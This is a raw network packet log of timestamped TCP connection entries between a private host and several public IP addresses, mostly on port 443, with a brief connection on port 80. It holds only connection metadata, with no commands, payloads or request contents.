Nov 30, 2024 09:44:57.155138016 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.155164003 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.155282974 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.155294895 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.155342102 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.193094969 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.193114996 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.193258047 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.193268061 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.193316936 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.328696012 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.328716040 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.328799963 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.328809023 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.328965902 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.357096910 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.357115030 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.357228041 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.357237101 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.357273102 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.379607916 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.379625082 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.379689932 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.379699945 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.379815102 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.399665117 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.399682999 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.399749994 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.399758101 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.399872065 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.526935101 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.526957989 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.527065039 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.527074099 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.527303934 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.541985989 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.542002916 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.542098045 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.542107105 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.542330027 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.557260990 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.557277918 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.557362080 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.557373047 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.558196068 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.570183039 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.570200920 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.570271015 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.570277929 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.573210001 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.581043005 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.581059933 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.581115961 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.581123114 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.582185030 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.591989994 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.592005968 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.592063904 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.592071056 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.594269991 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.596304893 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.596360922 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.596368074 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.596381903 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.596422911 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.596465111 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.596474886 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.596486092 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.596492052 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.632672071 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.632688999 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.632898092 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.633038044 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.633050919 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.635304928 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.635332108 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.635333061 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.635365009 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.635427952 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636015892 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636018038 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636029959 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.636528969 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636538982 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.636591911 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636697054 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636704922 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.636840105 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.636847973 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.641489983 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.641500950 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:57.641558886 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.641704082 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:57.641714096 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:58.042234898 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.042363882 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.044051886 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.044064045 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.044320107 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.053426027 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.099329948 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.775233984 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.775275946 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.775290966 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.775413990 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.775437117 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.775592089 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816250086 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.816292048 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.816334963 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816345930 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.816363096 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816390038 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.816431999 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816549063 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816565037 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:58.816575050 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:58.816581011 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:59.363977909 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.364160061 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.364562988 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.364573002 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.364599943 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.364614010 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.364993095 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.364999056 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.365098000 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.365103006 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.415846109 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.415869951 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.416384935 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.416388035 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.416397095 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.416414976 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.416948080 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.416949987 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.416953087 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.416954994 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.480071068 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.480683088 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.480705976 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.481144905 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.481151104 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807030916 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807046890 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807086945 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807110071 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807133913 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807143927 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807328939 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807338953 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807342052 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807698965 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807698965 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807704926 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807715893 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807785034 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807791948 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807801962 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.807816982 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807842970 CET	443	49767	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807955027 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807982922 CET	443	49764	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.807997942 CET	49767	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.808018923 CET	49764	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810231924 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810235023 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810257912 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.810262918 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.810345888 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810350895 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810476065 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810491085 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.810506105 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.810518980 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.861777067 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.861823082 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.861989021 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.862065077 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.862081051 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.862090111 CET	49766	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.862093925 CET	443	49766	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.864422083 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.864434958 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.864501953 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.864661932 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.864672899 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.887825966 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.887849092 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.887924910 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.887939930 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.888253927 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.888272047 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.888279915 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.888427019 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.888461113 CET	443	49765	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.890950918 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.890964031 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.890994072 CET	49765	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.891047955 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.891222000 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.891237974 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.933304071 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.933373928 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.933618069 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.933777094 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.933777094 CET	49763	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.933785915 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.933794022 CET	443	49763	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.936188936 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.936223030 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:59.936479092 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.936479092 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:59.936508894 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.644515991 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.645148993 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.645164967 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.645519018 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.645523071 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.656394005 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.656758070 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.656779051 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.657052994 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.657150030 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.657155991 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.657434940 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.657450914 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.657841921 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.657846928 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.673329115 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.673852921 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.673872948 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.674365997 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.674371958 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.717041016 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.717757940 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.717773914 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:01.718278885 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:01.718283892 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.091820955 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.091876030 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.092133045 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.092547894 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.092561960 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.092580080 CET	49770	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.092585087 CET	443	49770	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.095959902 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.095983982 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.096049070 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.096229076 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.096237898 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.112777948 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.112864017 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.112983942 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.113176107 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.113188028 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.113219976 CET	49769	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.113224983 CET	443	49769	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.113871098 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.113934040 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.113982916 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.114067078 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.114073038 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.114099026 CET	49768	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.114101887 CET	443	49768	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.115597010 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.115639925 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.115714073 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.115844965 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.115858078 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.115993023 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.116018057 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.116077900 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.116173029 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.116187096 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.121177912 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.121232986 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.121279001 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.121370077 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.121370077 CET	49771	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.121376038 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.121382952 CET	443	49771	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.123364925 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.123382092 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.123450041 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.123586893 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.123600006 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.161670923 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.161730051 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.161777020 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.161896944 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.161907911 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.161917925 CET	49772	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.161921978 CET	443	49772	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.163892031 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.163908958 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:02.163985968 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.164124012 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:02.164138079 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.262039900 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:03.382595062 CET	80	49778	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:03.383217096 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:03.383440018 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:03.503479004 CET	80	49778	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:03.924458981 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.924473047 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.924966097 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.924969912 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.924989939 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.924993992 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.925417900 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.925422907 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.925451040 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.925457954 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.964762926 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.966500998 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.966512918 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:03.966897964 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:03.966902018 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.041227102 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.043299913 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.043648005 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.043668032 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.043884993 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.043915987 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.044161081 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.044167042 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.044311047 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.044317961 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.407628059 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.407696009 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.407792091 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.408160925 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.408160925 CET	49774	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.408183098 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.408194065 CET	443	49774	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.408205032 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.408272982 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.410768986 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.410785913 CET	443	49779	13.107.246.63	192.168.2.4
